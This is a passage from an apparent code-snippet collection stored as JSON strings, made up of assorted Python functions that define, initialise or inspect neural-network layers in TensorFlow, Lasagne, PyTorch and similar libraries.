\\n\\t\\t\\t\\t\\t optimizer=tf.keras.optimizers.Adam(0.0001),\\n\\t\\t\\t\\t\\t metrics=['mae', custom_r2_metric])\\n\\telif (output_scheme == \\\"ordinal_clf\\\"):\\n\\t\\tmodel.compile(loss=tf.keras.losses.CategoricalCrossentropy(), \\n\\t\\t\\t\\t\\t optimizer=tf.keras.optimizers.Adam(0.001))\\n\\tprint(model.summary())\\n\\treturn model\",\n \"def layer_factory(in_layer, layer_type, **kwargs):\\n\\n gpu = True if 'gpu' in theano.config.device else False\\n if gpu:\\n from lasagne.layers import dnn\\n if layer_type == 'conv':\\n func = dnn.Conv2DDNNLayer if gpu else layers.Conv2DLayer\\n defaults = {'border_mode':'same','W':lasagne.init.GlorotUniform()} ### dimshuffle=TRUE!!!\\n elif layer_type == 'dense':\\n func = layers.DenseLayer\\n defaults = {'W':lasagne.init.Uniform()}\\n elif layer_type == 'maxout':\\n defaults = {}\\n func = dnn.MaxPool2DDNNLayer if gpu else layers.MaxPool2DLayer\\n else:\\n return -1\\n\\n layer_params = {}\\n for key,val in kwargs.iteritems():\\n if layer_type in key:\\n new_key = key.split(layer_type)[1]\\n new_key = new_key[1:]\\n layer_params[new_key] = val\\n\\n if layer_type == 'maxout':\\n in_layers = []\\n for i in xrange(layer_params['K']):\\n tmp_layer = layers.DenseLayer(in_layer,num_units=layer_params['num_units'],W=lasagne.init.GlorotUniform(),nonlinearity=lasagne.nonlinearities.linear)\\n tmp_layer = layers.ReshapeLayer(tmp_layer,([0],1,[1]))\\n in_layers.append(tmp_layer)\\n in_layer = lasagne.layers.ConcatLayer(tuple(in_layers))\\n orig_nonlin = lasagne.nonlinearities.identity\\n layer_params.pop('K',None)\\n layer_params.pop('num_units',None)\\n\\n name = kwargs['name'] + '_' if 'name' in kwargs else 'NONE_'\\n\\n if 'batch_norm' in kwargs and kwargs['batch_norm'] and layer_type != 'maxout':\\n orig_nonlin = layer_params['nonlinearity']\\n layer_params['nonlinearity'] = lasagne.nonlinearities.linear\\n\\n # remove user-configurations from defaults\\n for key in layer_params.keys():\\n if key in defaults:\\n defaults.pop(key,None)\\n\\n all_params = dict(defaults,**layer_params)\\n\\n # new lasagne!\\n if 'border_mode' in all_params:\\n all_params['pad'] = all_params['border_mode']\\n del all_params['border_mode']\\n\\n output_layer = func(in_layer,**all_params)\\n\\n if 'batch_norm_f0k' in kwargs and kwargs['batch_norm_f0k']:\\n output_layer = lasagne.layers.normalization.batch_norm(output_layer)\\n\\n if 'batch_norm' in kwargs and kwargs['batch_norm']:\\n output_layer = BatchNormalizationLayer(output_layer,nonlinearity=orig_nonlin,name=name + 'batch')\\n\\n if 'maxpool' in kwargs and kwargs['maxpool']:\\n st = kwargs['maxpool_st'] if 'maxpool_st' in kwargs else None\\n ignore_borders = kwargs['ignore_borders'] if 'ignore_borders' in kwargs else False\\n output_layer = lasagne.layers.MaxPool2DLayer(output_layer,pool_size=kwargs['maxpool_ds'],stride=st,name=name + 'maxpool',ignore_border=ignore_borders)\\n\\n return output_layer\",\n \"def __init__(self, layers, input_size):\\n super(ConvNetMaker, self).__init__()\\n self.conv_layers = []\\n self.fc_layers = []\\n # h, w, d = 32, 32, 3\\n h, w, d = input_size, input_size, 3\\n previous_layer_filter_count = 3\\n previous_layer_size = h * w * d\\n num_fc_layers_remained = len([1 for l in layers if l.startswith('FC')])\\n for layer in layers:\\n if layer.startswith('Conv'):\\n filter_count = int(layer[4:])\\n self.conv_layers += [\\n nn.Conv2d(previous_layer_filter_count,\\n filter_count,\\n kernel_size=3,\\n padding=1),\\n nn.BatchNorm2d(filter_count),\\n nn.ReLU(inplace=True)\\n ]\\n\\n previous_layer_filter_count = filter_count\\n d = filter_count\\n previous_layer_size = h * w * d\\n elif layer.startswith('MaxPool'):\\n self.conv_layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\\n h, w = int(h / 2.0), int(w / 2.0)\\n previous_layer_size = h * w * d\\n elif layer.startswith('FC'):\\n num_fc_layers_remained -= 1\\n current_layer_size = int(layer[2:])\\n if num_fc_layers_remained == 0:\\n self.fc_layers += [nn.Linear(previous_layer_size,\\n current_layer_size)]\\n else:\\n self.fc_layers += [nn.Linear(previous_layer_size,\\n current_layer_size),\\n nn.ReLU(inplace=True)]\\n previous_layer_size = current_layer_size\\n\\n conv_layers = self.conv_layers\\n fc_layers = self.fc_layers\\n self.conv_layers = nn.Sequential(*conv_layers)\\n self.fc_layers = nn.Sequential(*fc_layers)\",\n \"def layers(self):\\n\\n if not self.last_node:\\n return []\\n return nuke.layers(self.last_node)\",\n \"def __init__(self, layer_neuron):\\n\\n self.num_layers = len(layer_neuron)\\n self.layer_neuron = layer_neuron\\n #a list of numpy ndarrays\\n self.weights = []\\n self.input_len = 0\\n self.target_vals = []\\n self.current_guess = 0\\n\\n self.layer_inputs = [[]]*(len(layer_neuron))\\n self.layer_outputs = [[]]*(len(layer_neuron))\\n #deltas: don't include input layer but still put it in for spacing ie self.deltas[0] should always be empty\\n self.deltas = [[]]*((len(layer_neuron)))\\n\\n #make the weight matrices, each matrix nXm matrix with m = # nodes in the ith layer (incl bias) and n = # nodes in the (i+1)th layer\\n #each row represents the set of weights from all m neurons in the ith layer to a single neuron in the (i+1)th layer\\n #conversely, each column is all the output weights from a node in the ith layer, to each n nodes in the (i+1)th layer\\n #the right-most column represents output weights from the bias node\\n for i in range(len(self.layer_neuron)-1 ):\\n np.random.seed(0)\\n self.weights.append(np.random.normal( scale = 0.2, size = (self.layer_neuron[i+1], self.layer_neuron[i] + 1)))\",\n \"def build_neural_net(net_def):\\n\\n populated_def = net_def.copy()\\n\\n for layer in populated_def['layers']:\\n for n in range(0, layer['num_neurons']):\\n weights = layer['weights'][n]\\n bias = layer['bias'][n]\\n\\n neuron = Neuron(weights, bias, layer['activation'])\\n layer['neurons'].append(neuron)\\n\\n\\n return populated_def\",\n \"def _get_layers(self) :\\n \\n return self._layers\",\n \"def model(input_shape, output_dim, num_hidden_units,num_hidden_units_2, num_code_units, filter_size, batch_size=BATCH_SIZE):\\n shape = tuple([None]+list(input_shape[1:]))\\n print(shape)\\n l_in = lasagne.layers.InputLayer(shape=shape)\\n\\n print(\\\"Input shape: \\\",lasagne.layers.get_output_shape(l_in))\\n\\n # print(shaped_units)\\n # shaped_units = shaped_units[0]\\n shaped_units = 2800\\n\\n # print(shape)\\n\\n l_conv2D_1 = lasagne.layers.Conv2DLayer(\\n l_in, \\n num_filters=8,\\n filter_size=filter_size, \\n stride=(1, 1), \\n border_mode=\\\"valid\\\", \\n untie_biases=False, \\n nonlinearity=None,\\n )\\n\\n print(\\\"Conv 2D shape: \\\",lasagne.layers.get_output_shape(l_conv2D_1))\\n\\n l_reshape_1 = lasagne.layers.ReshapeLayer(\\n l_conv2D_1,\\n shape=(([0], -1))\\n )\\n\\n print(\\\"Reshape 1 shape: \\\", lasagne.layers.get_output_shape(l_reshape_1))\\n\\n l_hidden_1 = lasagne.layers.DenseLayer(\\n l_reshape_1,\\n num_units= num_hidden_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n print(\\\"Hidden 1 shape: \\\", lasagne.layers.get_output_shape(l_hidden_1))\\n\\n l_code_layer = lasagne.layers.DenseLayer(\\n l_hidden_1,\\n num_units=num_code_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n print(\\\"Code layer shape: \\\",lasagne.layers.get_output_shape(l_code_layer))\\n\\n l_hidden_2 = lasagne.layers.DenseLayer(\\n l_code_layer,\\n num_units=num_hidden_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n print(\\\"Hidden 2 shape: \\\",lasagne.layers.get_output_shape(l_hidden_2))\\n\\n l_hidden_3 = lasagne.layers.DenseLayer(\\n l_hidden_2,\\n num_units=shaped_units,\\n nonlinearity=lasagne.nonlinearities.rectify,\\n )\\n\\n print(\\\"Hidden 3 shape: \\\",lasagne.layers.get_output_shape(l_hidden_3))\\n\\n l_reshape_2 = lasagne.layers.ReshapeLayer(\\n l_hidden_3,\\n shape=(([0],8,7,50))\\n )\\n\\n print(\\\"Reshape 2 shape: \\\",lasagne.layers.get_output_shape(l_reshape_2))\\n\\n l_out = lasagne.layers.Conv2DLayer(\\n l_reshape_2, \\n num_filters=1,\\n filter_size=filter_size, \\n stride=(1, 1), \\n border_mode=\\\"valid\\\", \\n untie_biases=False, \\n nonlinearity=None,\\n )\\n\\n # print(\\\"Deconv shape: \\\",lasagne.layers.get_output_shape(l_deconv2D_1))\\n\\n print(\\\"Output shape: \\\",lasagne.layers.get_output_shape(l_out))\\n\\n return l_out\",\n \"def define_layers(self):\\n\\n if self.D0Flag:\\n self.d = self.h\\n\\n self.layers = [nn.Sequential(nn.Linear(self.d, self.h),\\n nn.ReLU(), )] # nn.BatchNorm1d(self.h, affine=False))]\\n for l in range(1, self.L):\\n self.layers.append(nn.Sequential(nn.Linear(self.h, self.h),\\n nn.ReLU(), )) # nn.BatchNorm1d(self.h, affine=False)))\\n\\n self.layers.append(nn.Linear(self.h, 1))\",\n \"def flow(input_):\\n global number_of_neurons_by_layer\\n if len(input_) != number_of_neurons_by_layer[0]:\\n raise IndexError(\\n f\\\"\\\\033[91mInput length is incorrect. It must be {number_of_neurons_by_layer[0]}.\\\\033[m\\\")\\n layers[0][\\\"y\\\"][1:] = np.array(input_).flatten().reshape(len(input_), 1)\\n for i_lay in range(1, len(layers)):\\n layers[i_lay][\\\"v\\\"][:] = logistic(\\n layers[i_lay][\\\"weigths\\\"] @ layers[i_lay-1][\\\"y\\\"]\\n )\",\n \"def nn_layer(input_tensor, input_dim, output_dim, layer_name, act=tf.nn.relu,method = \\\"xavier\\\"):\\n # Adding a name scope ensures logical grouping of the layers in the graph.\\n with tf.name_scope(layer_name):\\n # This Variable will hold the state of the weights for the layer\\n with tf.name_scope('weights'):\\n weights = weight_variable([input_dim, output_dim],method = method,name = layer_name)\\n variable_summaries(weights, layer_name + '/weights')\\n with tf.name_scope('Wx_plus_b'):\\n preactivate = tf.matmul(input_tensor, weights)\\n tf.histogram_summary(layer_name + '/pre_activations', preactivate)\\n if act is None:\\n activations = preactivate\\n else:\\n activations = act(preactivate, 'activation')\\n tf.histogram_summary(layer_name + '/activations', activations)\\n return activations\",\n \"def initialize_layers(self, layers_config: dict, inputs=None):\\n layers_config = layers_config.copy()\\n input_lyrs = []\\n initiated_layers = OrderedDict()\\n wrp_layer = None # indicator for wrapper layers\\n first_layer = True\\n\\n for lyr, lyr_args in layers_config.items():\\n\\n lyr_config, lyr_inputs, named_outs, call_args = self.deconstruct_lyr_args(lyr, lyr_args)\\n\\n lyr_name, args, lyr_config, activation = self.check_lyr_config(lyr, lyr_config)\\n\\n if K.BACKEND == 'pytorch':\\n\\n if first_layer:\\n first_layer = False\\n\\n if callable(lyr_config):\\n lyr_initiated = lyr_config\\n else:\\n lyr_initiated = TORCH_LAYERS[lyr_name](**lyr_config)\\n setattr(self, lyr, lyr_initiated)\\n initiated_layers[lyr] = {\\\"layer\\\": lyr_initiated, \\\"named_outs\\\": named_outs, 'call_args': call_args,\\n 'inputs': lyr_inputs}\\n\\n else:\\n # may be user has defined layers without input layer, in this case add Input layer as first layer\\n if first_layer:\\n if inputs is not None: # This method was called by providing it inputs.\\n assert isinstance(inputs, tf.Tensor)\\n # since inputs have been defined, all the layers that will be added will be next to first layer\\n first_layer = False\\n layer_outputs = inputs\\n initiated_layers[layer_outputs.name] = {'layer': layer_outputs, 'tf_name': lyr_name}\\n\\n elif lyr_name != \\\"Input\\\":\\n if 'input_shape' in lyr_config: # input_shape is given in the first layer so make input layer\\n initialized_layer = LAYERS[\\\"Input\\\"](shape=lyr_config['input_shape'])\\n else:\\n # for simple dense layer based models, lookback will not be used\\n def_shape = (self.num_ins,) if self.lookback == 1 else (self.lookback, self.num_ins)\\n initialized_layer = LAYERS[\\\"Input\\\"](shape=def_shape)\\n\\n # first layer is built so next iterations will not be for first layer\\n first_layer = False\\n # put the first layer in memory to be used for model compilation\\n # add th layer which the user had specified as first layer\\n initiated_layers[initialized_layer.name] = {'layer': initialized_layer,\\n 'tf_name': lyr_name}\\n input_lyrs.append(initialized_layer)\\n\\n # The inputs to the layer have not been specified, so either it is an Input layer\\n if lyr_inputs is None:\\n # or it uses the previous outputs as inputs\\n if lyr_name == \\\"Input\\\":\\n # it is an Input layer, hence should not be called\\n initialized_layer = LAYERS[lyr_name](*args, **lyr_config)\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'tf_name': lyr_name}\\n input_lyrs.append(initialized_layer)\\n else:\\n # it is executable and uses previous outputs as inputs\\n if lyr_name in ACTIVATION_LAYERS:\\n layer_outputs = ACTIVATION_LAYERS[lyr_name](name=lyr_config['name'])\\n initiated_layers[lyr_config['name']] = {'layer': layer_outputs,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n elif lyr_name in ['TimeDistributed', 'Bidirectional']:\\n wrp_layer = LAYERS[lyr_name]\\n # because wrapper layer name is property\\n initiated_layers[lyr_config['name']] = {'layer': wrp_layer,\\n 'tf_name': lyr_name}\\n continue\\n elif \\\"LAMBDA\\\" in lyr_name.upper():\\n # lyr_config is serialized lambda layer, which needs to be deserialized\\n initialized_layer = tf.keras.layers.deserialize(lyr_config)\\n # layers_config['lambda']['config'] still contails lambda, so we need to replace the python\\n # object (lambda) with the serialized version (lyr_config) so that it can be saved as json file.\\n layers_config[lyr]['config'] = lyr_config\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n else:\\n if wrp_layer is not None:\\n initialized_layer = wrp_layer(LAYERS[lyr_name](*args, **lyr_config))\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n wrp_layer = None\\n else:\\n if lyr_name == \\\"TemporalFusionTransformer\\\":\\n lyr_config['return_attention_components'] = True\\n initialized_layer = LAYERS[lyr_name](*args, **lyr_config)\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n\\n else: # The inputs to this layer have been specified so they must exist in lyr_cache.\\n # it is an executable\\n if lyr_name in ACTIVATION_LAYERS:\\n\\n layer_outputs = ACTIVATION_LAYERS[lyr_name](name=lyr_config['name'])\\n initiated_layers[lyr_config['name']] = {'layer': layer_outputs,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n elif lyr_name in ['TimeDistributed', 'Bidirectional']:\\n wrp_layer = LAYERS[lyr_name]\\n # because wrapper layer name is property\\n initiated_layers[lyr_config['name']] = {'layer': wrp_layer,\\n 'tf_name': lyr_name}\\n continue\\n elif \\\"LAMBDA\\\" in lyr_name.upper():\\n initialized_layer = tf.keras.layers.deserialize(lyr_config)\\n layers_config[lyr]['config'] = lyr_config\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n else:\\n if wrp_layer is not None:\\n initialized_layer = wrp_layer(LAYERS[lyr_name](*args, **lyr_config))\\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n wrp_layer = None\\n else:\\n layer_initialized = LAYERS[lyr_name](*args, **lyr_config)\\n initiated_layers[lyr_config['name']] = {'layer': layer_initialized,\\n 'named_outs': named_outs,\\n 'call_args': call_args,\\n 'inputs': lyr_inputs,\\n 'tf_name': lyr_name}\\n\\n if activation is not None: # put the string back to dictionary to be saved in config file\\n lyr_config['activation'] = activation\\n\\n first_layer = False\\n\\n self.jsonize_lyr_config(lyr_config)\\n\\n # inputs = [] todo, indentify input layers\\n # for k,v in lyr_cache.items():\\n # since the model is not build yet and we have access to only output tensors of each list, this is probably\\n # # the only way to know that how many `Input` layers were encountered during the run of this method. Each\\n # tensor (except TimeDistributed) has .op.inputs attribute, which is empty if a tensor represents output of Input layer.\\n # if int(''.join(tf.__version__.split('.')[0:2]).ljust(3, '0')) < 240:\\n # if k.upper() != \\\"TIMEDISTRIBUTED\\\" and hasattr(v, 'op'):\\n # if hasattr(v.op, 'inputs'):\\n # _ins = v.op.inputs\\n # if len(_ins) == 0:\\n # inputs.append(v)\\n # else: # not sure if this is the proper way of checking if a layer receives an input or not!\\n # if hasattr(v, '_keras_mask'):\\n # inputs.append(v)\\n\\n setattr(self, 'initiated_layers', initiated_layers)\\n setattr(self, 'input_lyrs', input_lyrs)\\n\\n\\n # todo,\\n # # for case when {Input -> Dense, Input_1}, this method wrongly makes Input_1 as output so in such case use\\n # # {Input_1, Input -> Dense }, thus it makes Dense as output and first 2 as inputs, so throwing warning\\n # if int(''.join(tf.__version__.split('.')[0:2]).ljust(3, '0')) < 240:\\n # if len(layer_outputs.op.inputs) < 1:\\n # print(\\\"Warning: the output is of Input tensor class type\\\")\\n # else:\\n # if 'op' not in dir(layer_outputs): # layer_outputs does not have `op`, which means it has no incoming node\\n # print(\\\"Warning: the output is of Input tensor class type\\\")\\n\\n # outs = None\\n #if BACKEND == 'tensorflow':\\n # outs = self.call(input_lyrs)\\n # setattr(self, 'output_lyrs', outs)\\n # if BACKEND == 'tensorflow':\\n # ## Reinitial\\n # super(Model, self).__init__(\\n # inputs=input_lyrs,\\n # outputs=outs)\\n #MODEL.__init__(self, inputs=inputs, outputs=outs)\\n\\n return input_lyrs # , outs\",\n \"def nn(data):\\n training_set = SupervisedDataSet*\\n\\n\\n input_nodes = 3\\n hidden_layer_1 = 10\\n hidden_layer_2 = 10\\n output_layer = 5\\n\\n net = buildNetwork(input_nodes, hidden_layer_1, hidden_layer_2, output_layer, bias=True, hiddenclass=TanhLayer)\",\n \"def get_weights(layers):\\n get_layer_weights = lambda layer: layer.get_weights()[0]\\n return list(map(get_layer_weights, layers))\",\n \"def __init__(self, input_dim, output_dim, hidden_dim=100, num_layers=2,\\r\\n num_epochs=100, learning_rate=0.001, threshold=0.1):\\r\\n super(ReluNet, self).__init__()\\r\\n\\r\\n self.input_dim = input_dim\\r\\n self.output_dim = output_dim\\r\\n self.hidden_dim = hidden_dim\\r\\n self.num_layers = num_layers\\r\\n self.num_epochs = num_epochs\\r\\n self.threshold = threshold\\r\\n self.learning_rate = learning_rate\\r\\n\\r\\n\\r\\n \\r\\n self.layers = nn.ModuleList()\\r\\n self.layers.append(nn.Linear(input_dim, hidden_dim))\\r\\n self.layers.append(nn.ReLU())\\r\\n for i in range(num_layers-1):\\r\\n self.layers.append(nn.Linear(hidden_dim, hidden_dim))\\r\\n self.layers.append(nn.ReLU())\\r\\n # output layer\\r\\n self.layers.append(nn.Linear(hidden_dim, output_dim))\",\n \"def forward_one_multilayer(rnns, lstm_input, layer_states, dropout_amount=0.):\\n num_layers = len(layer_states)\\n new_states = []\\n cell_states = []\\n hidden_states = []\\n state = lstm_input\\n for i in range(num_layers):\\n # view as (1, input_size)\\n layer_h, layer_c = rnns[i](torch.unsqueeze(state,0), layer_states[i])\\n new_states.append((layer_h, layer_c))\\n\\n layer_h = layer_h.squeeze()\\n layer_c = layer_c.squeeze()\\n\\n state = layer_h\\n if i < num_layers - 1:\\n # In both Dynet and Pytorch\\n # p stands for probability of an element to be zeroed. i.e. p=1 means switch off all activations.\\n state = F.dropout(state, p=dropout_amount)\\n\\n cell_states.append(layer_c)\\n hidden_states.append(layer_h)\\n\\n return (cell_states, hidden_states), state, new_states\",\n \"def three_layer_neuralnetwork(X, model, y=None, reg=0.0,verbose=0):\\n \\n # Unpack weights\\n W1, b1, W2, b2, W3, b3 = model['W1'], model['b1'], model['W2'], model['b2'],model['W3'],model['b3']\\n N,D= X.shape\\n\\n assert W1.shape[0] == D, ' W1 2nd dimenions must match number of features'\\n \\n dW1,dW2,dW3,db1,db2,db3=np.zeros_like(W1),np.zeros_like(W2),np.zeros_like(W3),np.zeros_like(b1),np.zeros_like(b2),np.zeros_like(b3)\\n # Compute the forward pass\\n \\n '''\\n AffineLayer = X.dot(W1)+b1 \\n ReluLayer,_ = relu_forward(AffineLayer)\\n AffineLayer2 = ReluLayer.dot(W2) + b2\\n ReluLayer2,_ = relu_forward(AffineLayer2)\\n AffineLayer3 = ReluLayer2.dot(W3) + b3\\n scores = AffineLayer3\\n \\n print X.shape\\n print W1.shape\\n print b1.shape\\n print W2.shape\\n print b2.shape\\n print W3.shape\\n print b3.shape\\n '''\\n affine_out1,cache1 = affine_forward(X, W1, b1)\\n relu_out1,cache_relu1 = relu_forward(affine_out1)\\n \\n affine_out2,cache2 = affine_forward(relu_out1, W2, b2)\\n relu_out2,cache_relu2 = relu_forward(affine_out2)\\n \\n affine_out3,cache3 = affine_forward(relu_out2, W3, b3)\\n scores = affine_out3\\n\\n #if verbose:\\n #print ['Layer {} Variance = {}'.format(i+1, np.var(l[:])) for i,l in enumerate([a1, a2, cache3[0]])][:]\\n if y is None:\\n return scores\\n data_loss,d_softmax = softmax_loss(scores,y)\\n data_loss += reg * (np.sum(W1*W1) + np.sum(W2*W2) + np.sum(W3*W3))\\n '''\\n max_scores = np.max(scores)\\n scores -= max_scores\\n correct_class_scores = scores[y,np.arange(N)]\\n exp_score = np.exp(scores)\\n sumexp = np.sum(exp_score,axis=0)\\n loss_i = -correct_class_scores + np.log(sumexp)\\n loss = np.sum(loss_i) / N \\n ''' \\t\\n # Compute the backward pass\\n \\n d_affine_out3, dW3, db3 = affine_backward(d_softmax, cache3) \\n d_relu2 = relu_backward(d_affine_out3, cache_relu2)\\n \\n d_affine_out2, dW2, db2 = affine_backward(d_relu2, cache2) \\n d_relu1 = relu_backward(d_affine_out2, cache_relu1)\\n \\n d_affine_out1, dW1, db1 = affine_backward(d_relu1, cache1) \\n \\n #\\n reg_loss = 0\\n\\n loss = data_loss + reg_loss\\n grads = {'W1': dW1, 'b1': db1, 'W2': dW2, 'b2': db2,'W3':dW3,'b3':db3}\\n \\n return loss, grads\",\n \"def _init_layers(self):\\n self.relu = nn.ReLU(inplace=True)\\n self.cls_convs = nn.ModuleList()\\n self.reg_convs = nn.ModuleList()\\n for i in range(self.stacked_convs):\\n chn = self.in_channels if i == 0 else self.feat_channels\\n self.cls_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=dict(type='DCN', deform_groups=1)\\n if i == 0 and self.use_dcn else self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n self.reg_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=dict(type='DCN', deform_groups=1)\\n if i == 0 and self.use_dcn else self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n self.atss_cls = nn.Conv2d(\\n self.feat_channels,\\n self.num_base_priors * self.cls_out_channels,\\n 3,\\n padding=1)\\n self.atss_reg = nn.Conv2d(\\n self.feat_channels, self.num_base_priors * 4, 3, padding=1)\\n self.atss_iou = nn.Conv2d(\\n self.feat_channels, self.num_base_priors * 1, 3, padding=1)\\n self.scales = nn.ModuleList(\\n [Scale(1.0) for _ in self.prior_generator.strides])\\n\\n # we use the global list in loss\\n self.cls_num_pos_samples_per_level = [\\n 0. for _ in range(len(self.prior_generator.strides))\\n ]\\n self.reg_num_pos_samples_per_level = [\\n 0. for _ in range(len(self.prior_generator.strides))\\n ]\",\n \"def _get_input_layer_names(self, layer):\\n if self._is_functional_model(self.model):\\n inbound_nodes = layer['inbound_nodes']\\n return [connection_info[0] for connection_info in inbound_nodes[0]]\\n else: # Sequential model.\\n layers = self._config['layers']\\n i = layers.index(layer)\\n if i == 0:\\n # First layer has no inputs.\\n return []\\n else:\\n return [layers[i - 1]['config']['name']]\",\n \"def neuron_activations(obs, channel1, channel2, channel3, channel4):\\n global model\\n assert obs > 4 and obs < 1788, \\\"Chosen observation is outside the range of the demonstration episode.\\\"\\n for chan in [channel1, channel2, channel3, channel4]:\\n assert chan <= 31, \\\"There are only 32 channels available (max index 31).\\\"\\n saved_observations = np.load('saved_observations.npy')\\n conv_net_outputs = [model.model.layers[1].output]\\n conv_only_model = Model(inputs=model.model.input, outputs=conv_net_outputs)\\n state = saved_observations[obs-3:obs+1]\\n state_batch = np.expand_dims(state, axis=0)\\n activations = conv_only_model.predict(state_batch)\\n frame = Image.fromarray(state[-1])\\n bg = np.array(frame.resize((20,20)))\\n\\n _, arr = plt.subplots(1,5)\\n arr[0].set_title('Frame Input')\\n arr[0].imshow(frame, cmap='gray')\\n arr[1].set_title('Channel {}'.format(channel1))\\n arr[1].imshow(bg + activations[0,channel1,:,:] * 12, cmap='gray')\\n arr[2].set_title('Channel {}'.format(channel2))\\n arr[2].imshow(bg + activations[0,channel2,:,:] * 12, cmap='gray')\\n arr[3].set_title('Channel {}'.format(channel3))\\n arr[3].imshow(bg + activations[0,channel3,:,:] * 12, cmap='gray')\\n arr[4].set_title('Channel {}'.format(channel4))\\n arr[4].imshow(bg + activations[0,channel4,:,:] * 12, cmap='gray')\\n plt.show()\",\n \"def three_layers_cnn( input_layer ):\\n # Convolutional Layer #1\\n # Computes 8 features using a 4x4 filter with ReLU activation.\\n # Padding is added to preserve width and height.\\n # Input Tensor Shape: [batch_size, NXCHANNELS, NVCHANNELS, 1]\\n # Output Tensor Shape: [batch_size, NXCHANNELS, NVCHANNELS, 8]\\n\\n conv1 = tf.layers.conv2d(\\n inputs = input_layer,\\n filters = 8,\\n kernel_size = [4,4],\\n padding=\\\"same\\\",\\n activation=tf.nn.relu)\\n\\n # Pooling Layer #1\\n # First max pooling layer with a 8 filter and stride of 2\\n # Input Tensor Shape: [batch_size, 64, 64]\\n # Output Tensor Shape: [batch_size, 32, 32, 8]\\n pool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=(2,2), strides=2)\\n\\n # Convolutional Layer #2\\n # Computes 16 features using a 4x4 filter.\\n # Padding is added to preserve width and height.\\n # Input Tensor Shape: [batch_size, 32, 32, 8 ]\\n # Output Tensor Shape: [batch_size, 32, 32, 16]\\n conv2 = tf.layers.conv2d(\\n inputs = pool1,\\n filters = 16,\\n kernel_size = [4,4],\\n padding =\\\"same\\\",\\n activation =tf.nn.relu)\\n\\n # Pooling Layer #2\\n # Second max pooling layer with a 2 filter and stride of 2\\n # Input Tensor Shape: [batch_size, 32, 32, 16]\\n # Output Tensor Shape: [batch_size, 16, 16, 16]\\n pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=(2,2), strides=2)\\n \\n # Convolutional Layer #3\\n # Computes 16 features using a 4x4 filter.\\n # Padding is added to preserve width and height.\\n # Input Tensor Shape: [batch_size, 16, 16, 16 ]\\n # Output Tensor Shape: [batch_size, 16, 16, 32 ]\\n conv3 = tf.layers.conv2d(\\n inputs = pool2,\\n filters = 32,\\n kernel_size = [4,4],\\n padding =\\\"same\\\",\\n activation =tf.nn.relu)\\n \\n # Pooling Layer #2\\n # Second max pooling layer with a 2 filter and stride of 2\\n # Input Tensor Shape: [batch_size, 16, 16, 32]\\n # Output Tensor Shape: [batch_size, 4, 4, 32]\\n pool3 = tf.layers.max_pooling2d(inputs=conv3, pool_size=(4,4), strides=4)\\n \\n\\n # Flatten tensor into a batch of vectors\\n # Input Tensor Shape: [batch_size, 4, 4, 32]\\n # Output Tensor Shape: [batch_size, 4x4x32 ]\\n pool3_flat = tf.reshape(pool3, [-1, 4*4*32 ])\\n\\n return pool3_flat\",\n \"def print_layers(model):\\r\\n for i in range(len(model.layers)):\\r\\n print(\\\"Printing layer shape: %d\\\" % i, model.layers[i])\\r\\n weights = model.layers[i].get_weights()\\r\\n for weight in weights: # Layer type\\r\\n print(weight.shape)\",\n \"def add_neuron(self):\\n self.num_hiddens += 1\\n self.input2hidden_layers[str(len(self.input2hidden_layers))] = nn.Linear(self.input_size, 1, bias=False)\\n for n_connection in range(self.num_hiddens - 1):\\n self.hidden2hidden_layers[str(len(self.hidden2hidden_layers))] = nn.Linear(1, 1,bias=False)\\n self.hidden2output_layers[str(len(self.hidden2output_layers))] = nn.Linear(1, self.num_classes, bias=False)\\n\\n return\",\n \"def _init_layers(self) -> None:\\n self.relu = nn.ReLU(inplace=True)\\n self.cls_convs = nn.ModuleList()\\n self.reg_convs = nn.ModuleList()\\n for i in range(self.stacked_convs):\\n chn = self.in_channels if i == 0 else self.feat_channels\\n self.cls_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n self.reg_convs.append(\\n ConvModule(\\n chn,\\n self.feat_channels,\\n 3,\\n stride=1,\\n padding=1,\\n conv_cfg=self.conv_cfg,\\n norm_cfg=self.norm_cfg))\\n pred_pad_size = self.pred_kernel_size // 2\\n self.atss_cls = nn.Conv2d(\\n self.feat_channels,\\n self.num_anchors * self.cls_out_channels,\\n self.pred_kernel_size,\\n padding=pred_pad_size)\\n self.atss_reg = nn.Conv2d(\\n self.feat_channels,\\n self.num_base_priors * 4,\\n self.pred_kernel_size,\\n padding=pred_pad_size)\\n self.atss_centerness = nn.Conv2d(\\n self.feat_channels,\\n self.num_base_priors * 1,\\n self.pred_kernel_size,\\n padding=pred_pad_size)\\n self.scales = nn.ModuleList(\\n [Scale(1.0) for _ in 